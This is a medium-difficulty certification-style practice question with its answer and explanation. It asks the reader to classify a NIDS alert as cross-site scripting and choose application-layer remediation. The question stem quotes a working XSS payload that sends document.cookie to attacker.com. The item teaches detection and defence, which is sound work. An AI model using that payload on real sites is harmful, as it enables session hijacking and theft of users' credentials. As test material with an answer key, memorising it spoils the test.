Examkin

Question

Difficulty: MediumNetwork Security Monitoring and Alerting

During a routine security monitoring shift, a Security Operations Center (SOC) analyst reviews an event logged by an out-of-band Network Intrusion Detection System (NIDS). The NIDS alert triggers on inbound HTTP GET traffic directed at a customer portal web server containing the payload string `?user=<script>window.location='http://attacker.com/steal.php?c='+document.cookie</script>`. A junior team member claims the log depicts database manipulation and recommends modifying SQL database queries. Which of the following best evaluates the NIDS alert and identifies the most appropriate remediation strategy?

  1. The alert indicates a Cross-Site Scripting (XSS) attack attempting to harvest session credentials; developers should implement input validation and context-aware output encoding on the application.Answer
  2. B
    The alert indicates a SQL Injection (SQLi) attack attempting to extract database tables; developers should implement parameterized statements on backend SQL queries.
  3. C
    The alert demonstrates that the out-of-band NIDS inline sensor actively blocked the malicious payload; no application-level investigation is required.
  4. D
    The alert indicates a command injection attack; administrators should modify layer 3 firewall rules to block inbound web traffic.

Answer

The alert indicates a Cross-Site Scripting (XSS) attack attempting to harvest session credentials; developers should implement input validation and context-aware output encoding on the application.
The captured payload features client-side JavaScript (`<script>` tags attempting to transmit `document.cookie` data), which is characteristic of a Cross-Site Scripting (XSS) attack. The effective countermeasure for XSS vulnerabilities involves enforcing strict input validation and context-aware output encoding at the web application layer.

Step-by-Step Solution

1
Analyze the log payload captured by the NIDS
The payload string `?user=<script>...</script>` contains executable client-side JavaScript referencing `document.cookie`.
Identifying payload syntax distinguishes client-side scripting attacks from database or operating system command injections.
2
Classify the security threat
The attack pattern matches Cross-Site Scripting (XSS), which targets application users rather than the backend database engine.
Script tags and DOM access properties like `document.cookie` are signatures of XSS attacks.
3
Select the proper control and remediation action
Implement proper input validation, context-aware output encoding, and Secure/HTTPOnly cookie flags on the web application.
Application-level encoding prevents client browsers from interpreting untrusted user input as executable script code.

Key Concept

Identifying Cross-Site Scripting (XSS) payloads in network security monitoring alerts and selecting appropriate application-layer mitigations.
Rate this question

Topics

Network Security Monitoring and Alerting

More questions from this topic